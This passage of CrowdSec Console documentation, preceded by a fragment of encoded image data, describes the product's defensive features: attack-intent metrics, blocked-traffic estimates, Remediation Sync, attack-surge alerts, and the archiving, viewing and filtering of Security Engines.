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) The **Malicious Intents** section summarizes what a blocked IP was *likely* attempting (for example spam, scanning, or brute-force), based on behaviour patterns observed across the CrowdSec network. Because these IPs are blocked, we may not have direct evidence of what they tried in **your** environment. Treat the intent as an informed estimate derived from community data rather than a record of actions on your system. > **Note:** We cannot determine the exact action an IP took against your service. The displayed intent is an estimate inferred from broader network observations. ![Malicious Intents Breakdown](/assets/images/rc-metrics-malicious-intents-5d29d83329fd333f87b89dad82dd870c.png) *** ## Malicious Traffic Discarded[โ€‹](#malicious-traffic-discarded "Direct link to Malicious Traffic Discarded") This section highlights the amount of malicious traffic that has been remediate by your bouncers. It includes both raw and estimated data on discarded requests, packets, and bytes. * **Raw data** represents actual traffic dropped by your remediation components (bouncers), powered by blocklists and security engines. * **Estimated data** is calculated by applying a coefficient to the raw metrics to provide a projected view of saved resources. The data estimate is based on the following considerations: * For OSI L4 (firewall level) bouncers: 7 blocked packets make up about 1 blocked attack attempt (due to tcp-syn retries) * For OSI L7 (application level) bouncers: 1 blocked request makes up about 1 blocked attack attempt * 1 blocked attack attempt would result in 10 actual attacks if the attacker wasn't blocked, as most attackers will try a sequence of exploits in rapid succession. ![Traffic Discarded](/assets/images/rc-metrics-traffic-discarded-e84a0db5f2c039e55959ac66af7a9f72.png) Below the graph, youโ€™ll find a **blocklist breakdown**, ordered by the amount of traffic each list helped block.
To enhance your protection and block even more threats, explore the full set of [CrowdSec Blocklists](https://app.crowdsec.net/blocklists/search). *** ## Projected Resources Saved[โ€‹](#projected-resources-saved "Direct link to Projected Resources Saved") CrowdSec not only protects you from attacks but also helps you optimize your infrastructure by reducing resource usage. This section estimates the **resources saved** as a result of blocking malicious traffic, including: * **Outgoing Traffic** โ€“ Bandwidth saved by stopping outgoing traffic, also known as egress traffic, from malicious sources. * **Log Lines** โ€“ Fewer events logged means reduced storage and processing. * **Storage Space** โ€“ Space saved by avoiding unnecessary log generation. ![Projected Resources Saved](/assets/images/rc-metrics-projected-ressources-5ef2b97556298a9098949fb126d07763.png) Just like the **Malicious Traffic Discarded** section, this view includes a blocklist breakdown showing which lists contributed most to resource savings.
To block more threats and save even more resources, consider using additional [CrowdSec Blocklists](https://app.crowdsec.net/blocklists/search). --- # Remediation Sync CrowdSec Premium Feature Beta Feature This feature is currently in beta (v0.1). It can be enabled from the Settings page under the Security Engines section for all Beta participants. ## Introduction[โ€‹](#introduction "Direct link to Introduction") Remediation Sync automatically synchronizes security decisions across your entire organization, ensuring consistent threat protection everywhere.
All decisions from one Security Engine are automatically synced to all other Security Engines and your Blocklists-as-a-Service (BLaaS) endpoints, allowing for simple, consistent edge enforcement. ## How It Works[โ€‹](#how-it-works "Direct link to How It Works") When one Security Engine detects and creates a decision about a threat, that decision is immediately propagated to: * All other Security Engines in your organization * Your Blocklists-as-a-Service (BLaaS) endpoints This ensures that once a threat is identified anywhere in your infrastructure, it's blocked everywhere. > In the current version, Remediation Sync shares across the whole organization.
Future versions will allow more granular control over which Security Engines share decisions to what other Security Engines or BLaaS endpoints. ## Enabling Remediation Sync[โ€‹](#enabling-remediation-sync "Direct link to Enabling Remediation Sync") To enable this feature: 1. Navigate to **Settings** in your CrowdSec Console 2. Go to the **Security Engines** section 3. Toggle the **Remediation Sync** option to **ON** --- # Am I Under Attack CrowdSec Premium Feature The **"Am I Under Attack?"** feature enables enterprise organizationsโ€™ owners to receive real-time alerts about potential cyber threats and attack surges. By detecting unusual attack patterns and notifying security teams immediately, this feature helps mitigate risks and reduce response time, ensuring that your team focuses on significant anomalies without being overwhelmed by routine notifications. This feature can be easily enabled or disabled, and once activated, it will continuously monitor and alert you of attack surges detected in your infrastructure. ## How to Activate the "Am I Under Attack?" Feature[โ€‹](#how-to-activate-the-am-i-under-attack-feature "Direct link to How to Activate the \"Am I Under Attack?\" Feature") To begin receiving alerts from the **Am I Under Attack?** feature, follow these steps: 1. Navigate to the **Alerts** section on the Console. 2. Locate the **"Am I Under Attack?"** switch, shown below, and toggle it to the "on" position to enable notifications. ![Am I Under Attack? Switch](/assets/images/am-i-under-attack-switch-fc8aa354455874b9fd74976b12370342.png) Once the feature is activated, you will start receiving real-time notifications for targeted attack surges against your organization. ### Console notification in global Alerts view[โ€‹](#console-notification-in-global-alerts-view "Direct link to Console notification in global Alerts view") When an attack is detected, the Console will display a red banner at the top of the screen, as shown in the screenshot below, indicating that a targeted attack has been identified. This serves as an immediate visual cue to investigate further. ![Global Alerts View](/assets/images/am-i-under-attack-global-alerts-view-80864c326e1953cbde3b5644ff5ddc32.png) The **Visualizer** will help you analyze these attacks based on source IPs, targeted security engines, and specific scenarios, allowing you to dive into the attack patterns. ## How it Works (Detailed)[โ€‹](#how-it-works-detailed "Direct link to How it Works (Detailed)") The **"Am I Under Attack?"** feature continuously monitors the attack signal stream in your organization and analyzes signal surges. These surges are defined by comparing current signal rates to historical data, using a 15-minute observation window against a 4-hour reference window. When the volume of signals exceeds the expected threshold (four times the interquartile range), an alert is triggered. Alerts can be delivered through various channels, including email and future integrations with EventBridge-compatible services like Slack, Splunk, and more. ### Benefits[โ€‹](#benefits "Direct link to Benefits") * **Enhanced Reaction Time**: Immediate alerts enable faster response to attacks. * **Reduced Manual Oversight**: Automated detection of attack surges reduces the need for constant monitoring. * **Seamless Integration**: Alerts can be integrated into existing security systems, simplifying management. ### Notifications and Integrations[โ€‹](#notifications-and-integrations "Direct link to Notifications and Integrations") * **Email Notifications**: By default, email alerts will be sent to the organizationโ€™s owner and admins. * **EventBridge**: Future releases will support additional integrations with systems such as Coralogix, Datadog, MongoDB, Slack, and more, offering flexibility in managing alerts. (contact us if you're interested in a specific integration) ## Key Considerations[โ€‹](#key-considerations "Direct link to Key Considerations") There are a few limitations and upcoming improvements to be aware of: * **Delay in Alerts**: Attack surge alerts are triggered after a 10-15 minute delay to minimize false positives. * **Non-Configurable Sensitivity**: The detection algorithmโ€™s sensitivity is fixed in this version but will be adjustable in future releases. * **Seasonality**: The system does not yet account for recurring seasonal attack patterns, which could trigger unnecessary alerts. *** --- # Archiving a Security Engine Archiving a Security Engine allows you to deactivate it without losing historical alerts. This can be helpful when an engine is no longer actively used but you still want to retain its historical context and alerts for future analysis. In the case of Enterprise plans, an archived engine does not count as a used slot. When archived, the Security Engine will: * Stop reporting new alerts. * Be un-enrolled from the CrowdSec Console. * Remain available for historical consultation. All previously generated alerts from this engine remain accessible from the Alerts page. ## How to Archive a Security Engine[โ€‹](#how-to-archive-a-security-engine "Direct link to How to Archive a Security Engine") ### Manually archiving a Security Engine[โ€‹](#manually-archiving-a-security-engine "Direct link to Manually archiving a Security Engine") 1.Go to the Security Engines page 2.Click on the three-dot menu (โ‹ฎ) next to the Security Engine you wish to archive. 3.Select *Archive Security Engine* from the dropdown menu. ![Archive Engine](/assets/images/archive-menu-7a39ed0f1e72b5c3bddde1afb25e6b9e.png) 4.Confirm the archival by clicking the *Archive* button in the confirmation dialog. The dialog clearly indicates that alerts will remain accessible even after archiving. ![Archive modal](/assets/images/archive-modal-12eacf776786984b54e3be379b4e393c.png) ### Auto-archiving of Security Engines[โ€‹](#auto-archiving-of-security-engines "Direct link to Auto-archiving of Security Engines") The CrowdSec Console also offers an auto-archiving feature based on inactivity. You can configure this policy from the Security Engines section in the console settings, where you can specify a duration of inactivity after which the engine is automatically archived. This feature helps maintain an organized workspace by automatically managing Security Engines that have ceased generating alerts, ensuring your active view remains relevant and uncluttered. All auto-archived engines retain their historical alerts, accessible through the Alerts page. ![settings auto archiving](/assets/images/settings-se-section-250b6e3193a8026fca33c9fa131ef1ca.png) ## Viewing Archived Security Engines[โ€‹](#viewing-archived-security-engines "Direct link to Viewing Archived Security Engines") To see your archived Security Engines locate and check the option labeled *Show only archived*. Archived engines will appear in a greyed-out, read-only state. info the Console features will no longer be synchronized with archived Security Engines. This means that blocklists, scenarios and remediation components counters will always be 0. ![Show archived Engine](/assets/images/archived-option-940a24fd7d2547b830400ce5a7fbd670.png) ## Restoring an Archived Security Engine[โ€‹](#restoring-an-archived-security-engine "Direct link to Restoring an Archived Security Engine") If you wish to restore an archived Security Engine, simply re-enroll the Security Engine by executing the enrollment command again from your server. warning Add the `--overwrite` flag to the enrollment command in order to replace the current status in the Console. ## Permanently Deleting an Archived Security Engine[โ€‹](#permanently-deleting-an-archived-security-engine "Direct link to Permanently Deleting an Archived Security Engine") If you decide to completely remove an archived Security Engine: 1. Make sure you have selected Show only archived. 2. Click the trash icon (๐Ÿ—‘๏ธ) located in the top-right corner of the Security Engine card. 3. Confirm deletion when prompted. This action will permanently remove all associated data and alerts. ![Show archived Engine](/assets/images/delete-archived-068b5add77fbf03a158cf6ff065de36e.png) --- # Dashboard This section displays all the CrowdSec Security Engines available in an Organization. This feature provides a quick overview of the organization's security status and allows the management of all the Security Engines remotely. If you haven't signed up for Security Engines, check out the ["Getting Started"](https://docs.crowdsec.net/u/getting_started/post_installation/console.md) guide. ![CrowdSec Security Engines Dashboard](/img/console/security_engines/dashboard_light.png)![CrowdSec Security Engines Dashboard](/img/console/security_engines/dashboard_dark.png) ## Table view[โ€‹](#table-view "Direct link to Table view") Different views are available based on the number of engines in an organization. If an organization have more than four engines, table views work best. (See below) ![CrowdSec Security Engines Table View](/img/console/security_engines/table-view-light.png)![CrowdSec Security Engines Table View](/img/console/security_engines/table-view-dark.png) ## Security Engine Card[โ€‹](#security-engine-card "Direct link to Security Engine Card") Each Security Engine has a card that displays essential details to facilitate monitoring issues in a stack. * **Name**: Clicking on the name will redirect to the detailed page of the Security Engine. * **IP**: Clicking on the IP will copy it to the clipboard. * **Enroll Date** * **Tags**: Add custom tags to the engines by using the ["doc"](https://docs.crowdsec.net/u/console/security_engines/name_and_tags.md) tag format. * **Alerts / Scenarios / Remediation Components / Blocklists / Log Processors (Distributed Setup only)**: Clicking any items will redirect to a dedicated section with relevant information. * **Activity**: This feature helps focus on Security Engines that require your attention. The ["Troubleshoot"](https://docs.crowdsec.net/u/console/security_engines/troubleshooting.md) feature can identify problems in your stack by analyzing past engine activity. * **Distributed Setup**: These are considered Distributed Setup Engines when multiple log processors are attached. [(Get more info here)](https://docs.crowdsec.net/docs/next/intro.md#deployment-options) ### Basic Card[โ€‹](#basic-card "Direct link to Basic Card") ![CrowdSec Security Engines Basic Card](/img/console/security_engines/basic-card-light.png)![CrowdSec Security Engines Basic Card](/img/console/security_engines/basic-card-dark.png) ## Security Engines Inactivity[โ€‹](#security-engines-inactivity "Direct link to Security Engines Inactivity") In our system, Security Engines are only displayed if there have been activity references within the last 30 days. If no recent activity is associated with a Security Engine, it will not be shown in the interface. This helps ensure well-presented data with relevant and up-to-date information regarding security activities. --- # Details page This page will reference information about a specific Security Engine. This page is your one-stop resource for understanding everything related to the Security Engine you're interested in. ![Security Engine details page](/assets/images/details-page-e7deff2b3238ed3131860d6f17590039.jpeg) ## Usage[โ€‹](#usage "Direct link to Usage") ### Summary[โ€‹](#summary "Direct link to Summary") At the top of the page, the essential information regarding the Security Engine is referenced. This includes the IP address, ID, last activity, tags, and the current version. This page will notify if the Security Engine is not running the latest CrowdSec version. To identify outdated Security Engines, you can also utilize the [**Troubleshooting**](https://docs.crowdsec.net/u/console/security_engines/troubleshooting.md) feature. ![Security Engine details page](/assets/images/details-page-summary-76e2730c78f7c4609ec470482f6d180f.png) Quick actions are available from the summary to apply changes to your Security Engine. * [Updating name or tags](https://docs.crowdsec.net/u/console/security_engines/name_and_tags.md) * [Transferring an Engine](https://docs.crowdsec.net/u/console/security_engines/transfer_engine.md) * [Archiving an Engine](https://docs.crowdsec.net/u/console/security_engines/archive_engine.md) * [Removing an Engine](https://docs.crowdsec.net/u/console/security_engines/remove_engine.md) ![Security Engine details page](/assets/images/details-page-actions-6b973cf909f8c0c8f48bd8defb81a4a2.png) ### Remediation components[โ€‹](#remediation-components "Direct link to Remediation components") The [remediation component](https://docs.crowdsec.net/u/bouncers/intro.md) in CrowdSec will apply either the decisions made by CrowdSec, the blocklists or the custom decisions. ![Security Engine details page](/assets/images/details-page-remediation-f0bb6c31dd74c52ba62b5fa451d2c8d1.png) #### Metrics[โ€‹](#metrics "Direct link to Metrics") Starting from version 1.6.3, CrowdSecโ€™s remediation components now display detailed metrics. These metrics provide valuable insights into the number of traffic drops and the volume of traffic processed by each remediation component. To access a detailed view of these metrics, simply click the **Get More Info** button on any active remediation component card. This will show you the effectiveness of each decision made by the Security Engine, based on the installed blocklists. ![Security Engine details page](/assets/images/details-page-remediation-metrics-4139ed4821ebb490577ddcd702f40f13.png) In the same modal, you can view the active decisions. This section provides information about the number of decisions made by each source of decisions. ![Security Engine details page](/assets/images/details-page-remediation-decisions-b583be1fb2bdb74217cde371bae1820c.png) #### Inactive remediation components[โ€‹](#inactive-remediation-components "Direct link to Inactive remediation components") Remediation components are meant to block attackers. Having inactive remediation component can compromise the security of your Security Engine, as they cannot apply decisions. ![Security Engine details page](/assets/images/details-page-inactive-bouncer-1af8d3e32080e098dcb9645af36af995.png) ### Blocklists[โ€‹](#blocklists "Direct link to Blocklists") The Blocklists section will display all blocklists associated with the Security Engine. This section will provide information about the blocklist, including the number of IPs, the last update, and the number of false positives. See the [blocklist documentation](https://docs.crowdsec.net/u/console/blocklists/overview.md) to install your first one. ![Security Engine details page](/assets/images/details-page-blocklists-58212c7a081115de985fe1e2a04c54c4.png) ### Scenarios[โ€‹](#scenarios "Direct link to Scenarios") To view all installed scenarios on the Security Engine, navigate to the **Scenarios** section. Here, each scenario will display the triggered alerts, easily accessible on the [HUB](https://hub.crowdsec.net) with just one click. ![Security Engine details page](/assets/images/details-page-scenarios-a51bfb75b4447c5238cfe455277e0795.png) For additional scenarios, visit the [CrowdSec HUB](https://hub.crowdsec.net). info By clicking on a scenario, you can access essential information about the scenario and be redirected to the corresponding page in the CrowdSec HUB. This provides direct access to the necessary details. ![Security Engine details page](/assets/images/details-page-scenarios-hub-b895f4f93869ebc20cb1c8336576eba4.png) ### Log Processors[โ€‹](#log-processors "Direct link to Log Processors") The Log Processors section will only be displayed if the Security Engines have multiple log processors, indicating a Distributed Setup. Here, you can access all essential information regarding the log processors and their current version. info A warning will be displayed if any Security Engine has an outdated version. ![Security Engine details page](/assets/images/details-page-log-processors-629c5ed9556b4ea3a9d6f0ffc7f36a1e.png) --- # Filter and Sort This document offers guidance on utilizing the system's filtering feature for Security Engines. Users can refine their search and swiftly locate engines by applying name, IP, tags, and activity filters. ## Filter Options[โ€‹](#filter-options "Direct link to Filter Options") ### By Name[โ€‹](#by-name "Direct link to By Name") To filter Security Engines by name: 1. Navigate to the **Security Engines** page. 2. Locate the **Search** bar at the top of the list. ![Search\_bar](/assets/images/sec-engine-search-bar-e2b463934bd831092c12e3d989f79938.png) 3. Enter the name of the engine you wish to find. An autocomplete is available to help. ![Search\_bar](/assets/images/se-search-by-name-22bbf7f18ee165860c7e7e15e824393d.png) 4. The list will automatically update to display only the engines that match the search criteria. ![Search\_bar](/assets/images/se-filtered-by-name-eea37f09bfc0ed5b369a3b8273a4e421.png) ### By Security Engine ID[โ€‹](#by-security-engine-id "Direct link to By Security Engine ID") To filter Security Engines by ID: 1. Navigate to the **Security Engines** page. 2. Locate the **Search** bar at the top of the list. ![Search\_bar](/assets/images/sec-engine-search-bar-e2b463934bd831092c12e3d989f79938.png) 3. Enter the ID of the engine you wish to find. An autocomplete is available to help. ![Search\_bar](/assets/images/se-search-by-id-c8853bdb717218ffeddc3b4911158f14.png) 4. The list will automatically update to display only the engines that match the search criteria. ![Search\_bar](/assets/images/se-filtered-by-id-dc89798446566a3181a3804f60457f4e.png) ### By Tags[โ€‹](#by-tags "Direct link to By Tags") To filter Security Engines by tags: 1. Navigate to the **Security Engines** page. 2. Locate the **Search** bar at the top of the list. ![Search\_bar](/assets/images/sec-engine-search-bar-e2b463934bd831092c12e3d989f79938.png) 3. Enter the tag you wish to find. An autocomplete is available to help. ![Search\_bar](/assets/images/se-search-by-tag-587c7912e3f7494c5460eb02761da4b7.png) 4. The list will automatically update to display only the engines that match the search criteria. ![Search\_bar](/assets/images/se-filtered-by-tag-7afb9d6e10be15e7cf3833a0d68afc68.png) ### By Activity[โ€‹](#by-activity "Direct link to By Activity") To filter Security Engines by activity: 1. Navigate to the **Security Engines** page. 2. Click either on **All**, **Active** or **Inactive**. * **Active**: Security Engines are considered active when they have received signals in the last 24 hours. * **Inactive**: Security Engines are inactive when they have not received signals in the previous 24 hours. ![Search\_bar](/assets/images/se-filter-by-activity-41550156d73cf3b621bb0b90ac4c47bd.png) 3. The list will refresh to show engines currently matching the selected activity status. ![Search\_bar](/assets/images/se-filtered-by-activity-03b6cf7c340f85a3a312907fff11cf4c.png) ## Sorting Options[โ€‹](#sorting-options "Direct link to Sorting Options") On the Security Engines page. Explore the variety of options at your disposal. Choose to organize by: * **Enroll data** * **Number of alerts** * **Activity** * **Name** * **IP** ![Search\_bar](/assets/images/se-sorting-options-670ba69cc7ebeb154773eb3fc017f56d.png) --- # Name 